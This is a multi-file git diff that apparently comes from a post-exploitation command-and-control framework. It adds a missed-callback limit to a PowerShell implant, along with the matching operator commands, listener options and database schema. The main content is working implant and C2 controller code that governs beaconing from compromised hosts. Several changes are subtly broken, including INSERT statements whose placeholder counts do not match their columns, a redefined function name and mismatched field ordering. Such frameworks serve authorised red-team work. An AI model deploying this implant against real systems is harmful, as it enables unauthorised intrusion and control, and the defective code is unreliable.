diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1
index 0c59922..19668e8 100644
--- a/data/agent/agent.ps1
+++ b/data/agent/agent.ps1
@@ -32,6 +32,9 @@ function Invoke-Empire {
 
         .PARAMETER Epoch
         server epoch time, defaults to client time
+
+        .PARAMETER MissedCBLimit
+        The limit of the number of callbacks the agent will miss before exiting
     #>
 
     param(
@@ -65,7 +68,10 @@ function Invoke-Empire {
         $Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
 
         [Int32]
-        $Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s")))
+        $Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))),
+
+        [Int32]
+        $MissedCBLimit = 60
     )
 
     ############################################################
@@ -74,6 +80,8 @@ function Invoke-Empire {
     
     $script:AgentDelay = $AgentDelay
     $script:AgentJitter = $AgentJitter
+    $script:MissedCBLimit = $MissedCBLimit
+    $script:MissedCB = 0
     
     $encoding = [System.Text.Encoding]::ASCII
 
@@ -151,6 +159,22 @@ function Invoke-Empire {
         "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
     }
 
+    function Set-MissedCBLimit {
+        param([int]$l)
+        $script:MissedCBLimit = $l
+        if($l -eq 0)
+        {
+            "agent set to never die based on CB Limit"
+        }
+        else 
+        {
+            "agent MissedCBLimit set to $script:MissedCBLimit"
+        }
+    }
+    function Get-Delay {
+        "agent MissedCBLimit: $script:MissedCBLimit"
+    }
+
     # set the killdate for the agent
     function Set-Killdate {
         param([string]$date)
@@ -882,6 +906,7 @@ function Invoke-Empire {
             }
         }
         catch [Net.WebException] {
+            $script:MissedCB+=1
             # handle 403? for key-negotiation?
             # handle host not found/reachable?
             # if($_.Exception -match "(403)"){
@@ -929,6 +954,34 @@ function Invoke-Empire {
 
             exit
         }
+        if((!($script:MissedCBLimit -eq 0)) -and ($script:MissedCB -gt $script:MissedCBLimit))
+        {
+
+            # get any job results and kill the jobs
+            $packets = $null
+            Get-Job -name ($JobNameBase + "*") | %{
+                # $data = Receive-Job $_ | Select-Object -Property * -ExcludeProperty RunspaceID | fl | Out-String
+                # $data = Receive-Job $_ | fl | Out-String
+                $data = Receive-Job $_
+
+                if ($data -is [system.array]){
+                    $data = $data -join ""
+                }
+                $data = $data | fl | Out-String
+
+                if($data){
+                    $packets += $(Encode-Packet -type 110 -data $($data))
+                }
+                Stop-Job $_
+                Remove-Job $_
+            }
+
+            # send an exit status message and die
+            $msg = "[!] Agent "+$script:SessionID+" exiting: Missed CB limit reached"
+            Send-Message $(Encode-Packet -type 2 -data $msg)
+
+            exit
+        }
 
         if($Servers[$ServerIndex].StartsWith("http")){
 
@@ -996,14 +1049,23 @@ function Invoke-Empire {
                     $statusCode = [int]$_.Exception.Response.StatusCode
                     # TODO: handle error codes appropriately?
                     if ($statusCode -eq 0){
-                        # host unreachable... backup server?
+                        #handle a specific status code
                     }
                 }
                 # if we get data, process the packet
+                $script:MissedCB=0
                 Process-Tasking $data
             }
-            else{
-                # TODO: do we need to process the error?
+            #Check for default tasking and reset the count if it is found
+            elseif ($data -and ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "<html>"))
+            {
+                #Some page that is html, possibly the default
+                #TODO: Replace to check for the specific default page marker
+                $script:MissedCB=0
+            }
+            else {
+                #Hmmmm? 
+            
             }
             # force garbage collection to clean up :)
             [GC]::Collect()
diff --git a/lib/common/agents.py b/lib/common/agents.py
index cde39f1..d26dce6 100644
--- a/lib/common/agents.py
+++ b/lib/common/agents.py
@@ -98,7 +98,7 @@ class Agents:
         cur.close()
 
 
-    def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours):
+    def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,missedCBLimit):
         """
         Add an agent to the internal cache and database.
         """
@@ -128,7 +128,7 @@ class Agents:
             userAgent = parts[1]
             additionalHeaders = parts[2]
 
-        cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours))
+        cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,missedCBLimit))
         cur.close()
 
         # initialize the tasking/result buffers along with the client session key
@@ -1052,7 +1052,7 @@ class Agents:
                 dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")
 
             # get the staging information for the given listener, keyed by port
-            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target
+            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,missed_cb_limit
             config = self.listeners.get_staging_information(port=port)
             host = config[0]
             stagingkey = config[3]
@@ -1124,7 +1124,7 @@ class Agents:
 
                     counter = responsePackets[-1][1]
 
-                    # validate the counter in the packet in the set
+                    # validate the counter in the packet in the setcode.replace
                     if counter and packets.validate_counter(counter):
                         
                         for responsePacket in responsePackets:
@@ -1155,7 +1155,7 @@ class Agents:
                 dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")
 
             # get the staging key for the given listener, keyed by port
-            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours 
+            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit 
             stagingKey = self.listeners.get_staging_information(port=port)[3]
 
             # decrypt the agent's public key
@@ -1187,9 +1187,10 @@ class Agents:
                     profile = config[6]
                     killDate = config[7]
                     workingHours = config[8]
+                    missedCBLimit = config[11]
 
                     # add the agent to the database now that it's "checked in"
-                    self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours)
+                    self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,missedCBLimit)
 
                     # step 4 of negotiation -> return epoch+aes_session_key
                     clientSessionKey = self.get_agent_session_key(sessionID)
@@ -1218,7 +1219,7 @@ class Agents:
                         decoded = helpers.decode_base64(parts[1])
 
                         # get the staging key for the given listener, keyed by port
-                        #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours 
+                        #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit 
                         config = self.listeners.get_staging_information(host=decoded)
 
                 else:
@@ -1229,6 +1230,7 @@ class Agents:
                 profile = config[6]
                 killDate = config[7]
                 workingHours = config[8]
+                missedCBLimit = config[11]
 
                 # get the session key for the agent
                 sessionKey = self.agents[sessionID][0]
@@ -1272,7 +1274,7 @@ class Agents:
                     dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")
 
                 # step 6 of negotiation -> server sends patched agent.ps1
-                agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate, workingHours)
+                agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,missedCBLimit)
 
                 username = str(domainname)+"\\"+str(username)
 
@@ -1289,7 +1291,7 @@ class Agents:
                 # set basic initial information to display for the agent
                 agent = self.mainMenu.agents.get_agent(sessionID)
 
-                keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
+                keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","missed_cb_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
                 agentInfo = dict(zip(keys, agent))
 
                 for key in agentInfo:
diff --git a/lib/common/empire.py b/lib/common/empire.py
index 2654eff..1319a80 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -776,6 +776,45 @@ class AgentsMenu(cmd.Cmd):
             else:
                 print helpers.color("[!] Invalid agent name")
 
+    def do_changelostlimit(self, line):
+        "Task one or more agents to 'changemisslimit [agent/all] <#ofCBs> '"
+
+        parts = line.strip().split(" ")
+
+        if len(parts) == 1:
+            print helpers.color("[!] Please enter a valid '#ofCBs'")
+
+        elif parts[0].lower() == "all":
+            MissedCBLimit = parts[1]
+            agents = self.mainMenu.agents.get_agents()
+
+            for agent in agents:
+                sessionID = agent[1]
+                # update this agent info in the database
+                self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID)
+                # task the agent
+                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit))
+                # update the agent log
+                msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
+                self.mainMenu.agents.save_agent_log(sessionID, msg)
+
+        else:
+            # extract the sessionID and clear the agent tasking
+            sessionID = self.mainMenu.agents.get_agent_id(parts[0])
+
+            MissedCBLimit = parts[1]
+
+            if sessionID and len(sessionID) != 0:
+                # update this agent's information in the database
+                self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID)
+
+                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) 
+                # update the agent log
+                msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
+                self.mainMenu.agents.save_agent_log(sessionID, msg)
+
+            else:
+                print helpers.color("[!] Invalid agent name")
 
     def do_killdate(self, line):
         "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
@@ -981,6 +1020,10 @@ class AgentsMenu(cmd.Cmd):
 
         return self.complete_clear(text, line, begidx, endidx)
 
+    def complete_changelostlimit(self, text, line, begidx, endidx):
+        "Tab-complete a sleep command"
+
+        return self.complete_clear(text, line, begidx, endidx)
 
     def complete_killdate(self, text, line, begidx, endidx):
         "Tab-complete a killdate command"
@@ -1185,6 +1228,21 @@ class AgentMenu(cmd.Cmd):
             msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
             self.mainMenu.agents.save_agent_log(self.sessionID, msg)
 
+    def do_changelostlimit(self, line):
+        "Task an agent to change the limit on missed CBs"
+
+        parts = line.strip().split(" ")
+        if len(parts) > 0 and parts[0] != "":
+            MissedCBLimit = parts[0]
+
+        # update this agent's information in the database
+        self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, self.sessionID)
+
+        self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) 
+        # update the agent log
+        msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
+        self.mainMenu.agents.save_agent_log(self.sessionID, msg)
+
 
     def do_kill(self, line):
         "Task an agent to kill a particular process name or ID."
diff --git a/lib/common/listeners.py b/lib/common/listeners.py
index 59124ce..c9cc895 100644
--- a/lib/common/listeners.py
+++ b/lib/common/listeners.py
@@ -42,7 +42,7 @@ class Listeners:
         # set the initial listener config to be the config defaults
         self.conn.row_factory = dict_factory
         cur = self.conn.cursor()
-        cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port FROM config")
+        cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_missed_cb_limit FROM config")
         defaults = cur.fetchone()
         cur.close()
         self.conn.row_factory = None
@@ -84,6 +84,11 @@ class Listeners:
                 'Required'      :   True,
                 'Value'         :   defaults['default_jitter']
             },
+            'DefaultMissedCBLimit' : {
+                'Description'   :   'Number of missed callbacks before exiting',
+                'Required'      :   True,
+                'Value'         :   defaults['default_missed_cb_limit']
+            },
             'DefaultProfile' : {
                 'Description'   :   'Default communication profile for the agent.',
                 'Required'      :   True,
@@ -118,7 +123,7 @@ class Listeners:
         """
 
         cur = self.conn.cursor()
-        cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners")
+        cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners")
         results = cur.fetchall()
         cur.close()
 
@@ -271,7 +276,7 @@ class Listeners:
         
         try:
             # get the listener information
-            [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerId)
+            [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = self.get_listener(listenerId)
 
             listenerId = int(ID)
 
@@ -305,7 +310,7 @@ class Listeners:
         if nameid : listenerId = nameid
 
         cur = self.conn.cursor()
-        cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=?", [listenerId])
+        cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=?", [listenerId])
         listener = cur.fetchone()
 
         cur.close()
@@ -399,20 +404,20 @@ class Listeners:
 
         if(listenerId):
             cur = self.conn.cursor()
-            cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
+            cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
             stagingInformation = cur.fetchone()
             cur.close()
 
         elif(port):
             cur = self.conn.cursor()
-            cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE port=?", [port])
+            cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE port=?", [port])
             stagingInformation = cur.fetchone()
             cur.close()
 
         # used to get staging info for hop.php relays
         elif(host):
             cur = self.conn.cursor()
-            cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE host=?", [host])
+            cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE host=?", [host])
             stagingInformation = cur.fetchone()
             cur.close()            
 
@@ -511,6 +516,7 @@ class Listeners:
         workingHours = self.options['WorkingHours']['Value']
         listenerType = self.options['Type']['Value']
         redirectTarget = self.options['RedirectTarget']['Value']
+        defaultMissedCBLimit = self.options['DefaultMissedCBLimit']['Value']
 
         # validate all of the options
         if self.validate_listener_options():
@@ -537,7 +543,7 @@ class Listeners:
                         return False
 
                 cur = self.conn.cursor()
-                results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] )
+                results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] )
 
                 # get the ID for the listener
                 cur.execute("SELECT id FROM listeners where name=?", [name])
@@ -558,7 +564,7 @@ class Listeners:
 
                         # add the listener to the database if start up
                         cur = self.conn.cursor()
-                        results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] )
+                        results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] )
 
                         # get the ID for the listener
                         cur.execute("SELECT id FROM listeners where name=?", [name])
@@ -593,7 +599,7 @@ class Listeners:
 
         else:
             # get the existing listener options
-            [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerName)
+            [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultMissedCBLimit] = self.get_listener(listenerName)
 
             cur = self.conn.cursor()
 
@@ -604,7 +610,7 @@ class Listeners:
             pivotHost += internalIP + ":" + str(listenPort)
 
             # insert the pivot listener with name=sessionID for the pivot agent
-            cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name] )
+            cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultMissedCBLimit] )
 
             # get the ID for the listener
             cur.execute("SELECT id FROM listeners where name=?", [sessionID])
diff --git a/lib/common/messages.py b/lib/common/messages.py
index 6644699..3c3e2f1 100644
--- a/lib/common/messages.py
+++ b/lib/common/messages.py
@@ -126,7 +126,7 @@ def display_agents(agents):
         print "  ---------          -----------     ------------    ---------           -------             -----    --------------------"
 
         for agent in agents:
-            [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version] = agent
+            [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, missed_cb_limit] = agent
             if str(high_integrity) == "1":
                 # add a * to the username if it's high integrity 
                 username = "*" + username
@@ -146,7 +146,7 @@ def display_agent(agent):
     """
 
     # extract out database fields.
-    keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
+    keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "MissedCBLimit"]
 
     print helpers.color("\n[*] Agent info:\n")
 
@@ -173,7 +173,7 @@ def display_listeners(listeners):
 
         for listener in listeners:
 
-            [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = listener
+            [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = listener
 
             if not host.startswith("http"):
                 if cert_path and cert_path != "":
@@ -216,7 +216,7 @@ def display_listener_database(listener):
     Transforms the tuple set to an options dictionary and calls display_listener().
     """
 
-    [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget] = listener
+    [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultMissedCBLimit] = listener
 
     options = {
         'ID' : {
@@ -259,6 +259,11 @@ def display_listener_database(listener):
             'Required'      :   True,
             'Value'         :   ''
         },
+        'DefaultMissedCBLimit' : {
+            'Description'   :   'Number of missed callbacks before exiting',
+            'Required'      :   True,
+            'Value'         :   ''
+        },
         'DefaultProfile' : {
             'Description'   :   'Default communication profile for the agent.',
             'Required'      :   True,
@@ -299,6 +304,7 @@ def display_listener_database(listener):
     options['WorkingHours']['Value'] = workingHours
     options['Type']['Value'] = listenerType
     options['RedirectTarget']['Value'] = redirectTarget
+    options['DefaultMissedCBLimit']['Value'] = defaultMissedCBLimit
 
     display_listener(options)
 
diff --git a/lib/common/stagers.py b/lib/common/stagers.py
index b509ae5..3899de5 100644
--- a/lib/common/stagers.py
+++ b/lib/common/stagers.py
@@ -163,13 +163,12 @@ class Stagers:
             return randomizedStager
 
 
-    def generate_agent(self, delay, jitter, profile, killDate, workingHours):
+    def generate_agent(self, delay, jitter, profile, killDate, workingHours, missedCBLimit):
         """
         Generate "standard API" functionality, i.e. the actual agent.ps1 that runs.
         
         This should always be sent over encrypted comms.
         """
-
         f = open(self.installPath + "./data/agent/agent.ps1")
         code = f.read()
         f.close()
@@ -177,10 +176,11 @@ class Stagers:
         # strip out comments and blank lines
         code = helpers.strip_powershell_comments(code)
 
-        # patch in the delay, jitter, and comms profile
+        # patch in the delay, jitter, missed CB limit, and comms profile
         code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
         code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
         code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
+        code = code.replace('$MissedCBLimit = 60', "$MissedCBLimit = " + str(missedCBLimit))
 
         # patch in the killDate and workingHours if they're specified
         if killDate != "":
diff --git a/setup/setup_database.py b/setup/setup_database.py
index 4790a7c..c9af8bb 100755
--- a/setup/setup_database.py
+++ b/setup/setup_database.py
@@ -61,6 +61,9 @@ IP_WHITELIST = ""
 #   format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8
 IP_BLACKLIST = ""
 
+#number of times an agent will call back without an answer prior to exiting
+DEFAULT_MISSED_CB_LIMIT = 60 
+
 
 
 ###################################################
@@ -90,11 +93,12 @@ c.execute('''CREATE TABLE config (
     "install_path" text,
     "server_version" text,
     "ip_whitelist" text,
-    "ip_blacklist" text
+    "ip_blacklist" text,
+    "default_missed_cb_limit" integer
     )''')
 
 # kick off the config component of the database
-c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST))
+c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_MISSED_CB_LIMIT))
 
 c.execute('''CREATE TABLE "agents" (
     "id" integer PRIMARY KEY,
@@ -124,7 +128,8 @@ c.execute('''CREATE TABLE "agents" (
     "functions" text,
     "kill_date" text,
     "working_hours" text,
-    "ps_version" text
+    "ps_version" text,
+    "missed_cb_limit" integer
     )''')
 
 c.execute('''CREATE TABLE "listeners" (
@@ -140,7 +145,8 @@ c.execute('''CREATE TABLE "listeners" (
     "kill_date" text,
     "working_hours" text,
     "listener_type" text,
-    "redirect_target" text
+    "redirect_target" text,
+    "default_missed_cb_limit" integer
     )''')
 
 # type = hash, plaintext, token